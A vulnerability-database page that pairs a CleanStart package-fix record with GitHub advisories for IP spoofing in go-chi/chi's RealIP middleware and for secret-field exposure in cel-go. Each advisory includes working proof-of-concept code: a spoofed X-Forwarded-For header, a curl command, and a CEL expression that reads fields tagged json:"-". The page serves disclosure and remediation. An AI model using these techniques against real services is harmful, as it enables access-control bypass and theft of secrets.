Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package tekton-chains-fips version 0.24.0-r1 fixes 26 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "tekton-chains-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.24.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package tekton-chains-fips version 0.24.0-r1 fixes 26 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...",
"id": "CLEANSTART-2026-GR84261",
"modified": "2026-09-02T06:40:43Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/chains"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in tekton-chains-fips 0.24.0-r1",
"upstream": [
"CVE-2026-33818",
"CVE-2026-46600",
"CVE-2026-56853",
"CVE-2026-56858",
"CVE-2026-56859",
"CVE-2026-56860",
"CVE-2026-56862",
"CVE-2026-39821",
"ghsa-gcjh-h69q-9w9g",
"ghsa-pmwq-pjrm-6p5r",
"CVE-2026-22703",
"CVE-2026-49478",
"CVE-2026-48702",
"CVE-2025-66564",
"CVE-2026-25542",
"CVE-2026-33022",
"CVE-2026-2303",
"CVE-2026-39883",
"ghsa-hrxh-6v49-42gf",
"CVE-2026-56864",
"CVE-2026-56865",
"ghsa-259r-337f-4rfw",
"ghsa-3fxj-6jh8-hvhx",
"ghsa-9g5q-2w5x-hmxf",
"ghsa-rjr7-jggh-pgcp",
"CVE-2026-41178"
]
}
GHSA-3FXJ-6JH8-HVHX
Vulnerability from github – Published: 2026-06-25 18:21 – Updated: 2026-06-25 18:21Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
- Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:21:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be \u00271.2.3.4\u0027\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i \u003e= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"id": "GHSA-3fxj-6jh8-hvhx",
"modified": "2026-06-25T18:21:38Z",
"published": "2026-06-25T18:21:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}
GHSA-9G5Q-2W5X-HMXF
Vulnerability from github – Published: 2026-06-25 18:18 – Updated: 2026-06-25 18:18Summary
The vulnerability allows the Request.RemoteAddr to be spoofed when determining the request source IP via the X-Forwarded-For header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.
Details
Currently, the RealIP() implementation splits the X-Forwarded-For header by , and uses the first IP.
https://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54
However, relying on the first IP in the X-Forwarded-For header is insecure because it can be manipulated by attackers to falsify the source IP.
Malicious Case:
1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: X-Forwarded-For: <forged-ip>
2. The proxy appends the actual client’s IP and forwards the request: X-Forwarded-For: <forged-ip>,<client-ip>
3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.
Ideally, the implementation should verify IPs starting from the end of the X-Forwarded-For header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.
For example, the labstack/echo web framework processes the X-Forwarded-For header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client's ip.
https://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273
PoC
1. Run the Go application with the following code:
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
// Set handler to print the remote address
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(
w,
fmt.Sprintf("remote addr: %s (want 192.0.2.1)", r.RemoteAddr),
)
})
// Use RealIP middleware
log.Fatal(http.ListenAndServe(":8080", middleware.RealIP(handler)))
}
2. Send a request to the server using curl with a manipulated X-Forwarded-For header:
$ curl localhost:8080 -H 'X-Forwarded-For: 192.0.2.2, 192.0.2.1'
remote addr: 192.0.2.2 (want 192.0.2.1)
Impact
This vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:18:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n \"fmt\"\n \"log\"\n \"net/http\"\n\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n // Set handler to print the remote address\n handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintln(\n w,\n fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n )\n })\n // Use RealIP middleware\n log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
"id": "GHSA-9g5q-2w5x-hmxf",
"modified": "2026-06-25T18:18:56Z",
"published": "2026-06-25T18:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}
GHSA-GCJH-H69Q-9W9G
Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].
Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.
Root cause
In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.
See at ext/native.go:146:
func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
return func(field reflect.StructField) string {
tag, found := field.Tag.Lookup(structTagToParse)
if found {
splits := strings.Split(tag, ",")
if len(splits) > 0 {
// We make the assumption that the leftmost entry in the tag is the name.
// This seems to be true for most tags that have the concept of a name/key, such as:
// https://pkg.go.dev/encoding/xml#Marshal
// https://pkg.go.dev/encoding/json#Marshal
// https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
// https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
name := splits[0]
return name
}
}
return field.Name
}
}
For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.
This contradicts the encoding/json rule that the source comment explicitly points readers to:
As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".
The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:
// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
return func(ntp *nativeTypeOptions) error {
ntp.fieldNameHandler = fieldNameByTag(tag)
return nil
}
}
A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.
The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
See at ext/native.go:663:
if fieldNameHandler != nil {
fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ {
field := refType.Field(idx)
fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found {
return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
} else {
fieldNames[fieldName] = struct{}{}
}
}
}
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at ext/native.go:286:
func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
if t, found := tp.nativeTypes[typeName]; found {
fieldCount := t.refType.NumField()
fields := make([]string, fieldCount)
for i := 0; i < fieldCount; i++ {
fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
}
return fields, true
}
if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
return celTypeFields, true
}
return tp.baseProvider.FindStructFieldNames(typeName)
}
Field lookup also treats the name as valid and returns the underlying Go field value.
See at ext/native.go:303:
func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
t, found := tp.nativeTypes[typeName]
if !found {
return tp.baseProvider.FindStructFieldType(typeName, fieldName)
}
refField, isDefined := t.hasField(fieldName)
if !found || !isDefined {
return nil, false
}
return &types.FieldType{
IsSet: func(obj any) bool {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return !refField.IsZero()
},
GetFrom: func(obj any) (any, error) {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return getFieldValue(refField), nil
},
}, true
}
At runtime, native objects advertise index access.
See at ext/native.go:37:
var (
nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)
Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:
dyn(req.auth)["-"]
The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at ext/native.go:501:
case jsonStructType:
refVal := reflect.Indirect(o.refValue)
refType := refVal.Type()
fields := make(map[string]*structpb.Value, refVal.NumField())
for i := 0; i < refVal.NumField(); i++ {
fieldType := refType.Field(i)
fieldValue := refVal.Field(i)
if !fieldValue.IsValid() || fieldValue.IsZero() {
continue
}
fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
fieldCELVal := o.NativeToValue(fieldValue.Interface())
fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
if err != nil {
return nil, err
}
fields[fieldName] = fieldJSONVal.(*structpb.Value)
}
return &structpb.Struct{Fields: fields}, nil
This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.
The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.
See at ext/native.go:609:
func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
nt, err := newNativeType(fieldNameHandler, rawType)
if err != nil {
return nil, err
}
result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type)
iterateStructMembers = func(t reflect.Type) {
if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
iterateStructMembers(t.Elem())
return
}
if t.Kind() != reflect.Struct {
return
}
nt, ntErr := newNativeType(fieldNameHandler, t)
if ntErr != nil {
err = ntErr
return
}
result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ {
iterateStructMembers(t.Field(idx).Type)
}
}
iterateStructMembers(rawType)
return result, err
}
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.
Reproduction
package main
import (
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
)
// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
UserID string `json:"userId"`
Secret string `json:"-"` // server-internal; never appears in JSON output
}
// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
// Only Req is passed; AuthCtx is registered silently by newNativeTypes.
ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.Req")),
)
ast, _ := env.Compile(`dyn(req.auth)["-"]`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
fmt.Println(out) // sk-live-s3cr3t
}
Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.
The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.
path 1. CEL indexing
Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:
require github.com/google/cel-go v0.28.1
Running the PoC above (go run main.go) produces:
sk-live-s3cr3t
The secret value is returned verbatim, with no error at compile time or at runtime.
Path 2. ConvertToNative(jsonStructType)
When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".
package main
import (
"encoding/json"
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb"
)
type AuthCtxConv struct {
UserID string `json:"userId"`
Secret string `json:"-"` // should never appear in JSON output
}
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.ReqConv")),
)
ast, _ := env.Compile(`req.auth`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
jsonStructType := reflect.TypeOf(&structpb.Struct{})
raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct)
b, _ := json.MarshalIndent(st.AsMap(), "", " ")
fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
if v, ok := st.Fields["-"]; ok {
fmt.Printf("Value: %s\n", v.GetStringValue())
}
}
Running the PoC above produces:
ConvertToNative(jsonStructType) output:
{
"-": "sk-live-s3cr3t",
"userId": "alice"
}
Direct field access via "-" key present: true
Value: sk-live-s3cr3t
The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.
Impact
Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
Remediation
Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in
newNativeType - field enumeration in
FindStructFieldNames - field type lookup in
FindStructFieldType - runtime lookup in
fieldByName/hasField - object construction in
NewValue - JSON conversion in
ConvertToNative(jsonStructType)
Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/google/cel-go"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-495"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:48:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n return func(field reflect.StructField) string {\n tag, found := field.Tag.Lookup(structTagToParse)\n if found {\n splits := strings.Split(tag, \",\")\n if len(splits) \u003e 0 {\n // We make the assumption that the leftmost entry in the tag is the name.\n // This seems to be true for most tags that have the concept of a name/key, such as:\n // https://pkg.go.dev/encoding/xml#Marshal\n // https://pkg.go.dev/encoding/json#Marshal\n // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n // 